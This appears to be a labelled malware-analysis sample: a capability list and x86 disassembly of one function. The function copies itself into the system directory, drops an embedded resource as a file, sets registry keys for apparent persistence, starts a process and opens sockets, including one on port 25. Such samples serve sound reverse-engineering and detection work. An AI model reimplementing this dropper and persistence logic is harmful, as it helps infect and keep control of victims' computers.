Function at 0x4015d0
Capabilities:
Copy file
Create process on windows
Create tcp socket
Create udp socket
Extract resource via kernel32 functions
Get common file path
Initialize winsock library
Resolve dns
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp eax, 0x80000000
jb 0x40161a
push 0x401344
push 0x401334
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
mov dword [ebp - 8], eax
je 0x40161a
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dword [ebp - 4], eax
push 1
push dword [ebp - 4]
call dword [ebp - 8]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, dword [ebp - 0x1e]
mov edx, dword [ebp - 0x20]
and ecx, 0xffff
and edx, 0xffff
imul ecx, edx
push ecx
call fcn.00401f2a
add esp, 4
call fcn.00401f34
cdq
mov ecx, 0x1e78
idiv ecx
add edx, 0x834
mov dword [0x4010e0], edx
lea edx, [ebp - 0x480]
push edx
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp dword [0x4010e0], 0x1e9b
jne 0x4016a4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
push 0x401324
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4016a4
push 0x401324
call dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [ebp - 0x1f0]
push 0x80
push eax
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea ecx, [ebp - 0x2f0]
push 0x100
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x401320
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x2f0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004015a0
mov edi, dword [0x4010ec]
lea edx, [ebp - 0x2f0]
test eax, eax
je 0x401718
mov edi, dword [0x4010e4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x1f0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x2f0]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401771
test cl, cl
je 0x40176d
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401771
add eax, 2
add esi, 2
test cl, cl
jne 0x401749
xor eax, eax
jmp 0x401776
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40190d
lea eax, [ebp - 0x2f0]
push 0
lea ecx, [ebp - 0x1f0]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0x40131c
push 0x65
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
lea edx, [ebp - 0x170]
push 0x100
push edx
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x401320
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x170]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004015a0
mov edi, dword [0x4010f0]
lea edx, [ebp - 0x170]
test eax, eax
je 0x401812
mov edi, dword [0x4010e8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
mov ecx, edx
push 4
push eax
and ecx, 3
push 2
lea eax, [ebp - 0x170]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp eax, 0xffffffff
mov dword [0x401f94], eax
je 0x401880
lea ecx, [ebp - 8]
push 0
push ecx
push 0xa00
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [0x401f94]
push edx
call esi
call fcn.004015a0
test eax, eax
jne 0x40194a
mov byte [ebp - 8], al
mov byte [ebp - 7], al
mov byte [ebp - 6], al
mov byte [ebp - 5], al
lea eax, [ebp - 4]
push eax
push 0x4012e8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [ebp - 0x170]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 4]
repne scasb al, byte es:[edi]
not ecx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
lea ecx, [ebp - 0x170]
push ecx
push 1
push eax
push 0x4012e0
push edx
call esi
mov eax, dword [ebp - 4]
push 1
push 0x4012d8
push 1
push 0
push 0x4012cc
push eax
call esi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push 4
push ecx
push 4
push 0
push 0x4012c0
push edx
call esi
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, word [0x4010e0]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x401580
mov word [0x401f90], ax
call 0x401a40
push 0x401a90
call 0x401a40
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [ebp - 4]
push 0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401278
push reloc.WS2_32.dll_bind
call edi
push 0x401250
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edx, dword [0x4010f4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
mov eax, dword [ebp - 4]
push 0x401250
push 1
push 0
push edx
push eax
call ebx
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push 0
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x401214
push bind
call edi
lea edi, [ebp - 0x170]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebp - 0x170]
push ecx
mov ecx, dword [ebp - 4]
push eax
push 1
push 0
push 0x401fa0
push ecx
call ebx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x70], 0x44
rep stosd dword es:[edi], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x70]
mov dword [ebp - 0x10], eax
push ecx
push edx
push eax
push eax
push 0x20
push eax
push eax
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x2f0]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp - 0x14]
push ecx
call esi
mov edx, dword [ebp - 0x18]
push edx
call esi
push 1
call fcn.00401e66
mov ecx, dword [esp + 4]
lea eax, [esp + 4]
push eax
push 0
push 0
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
ret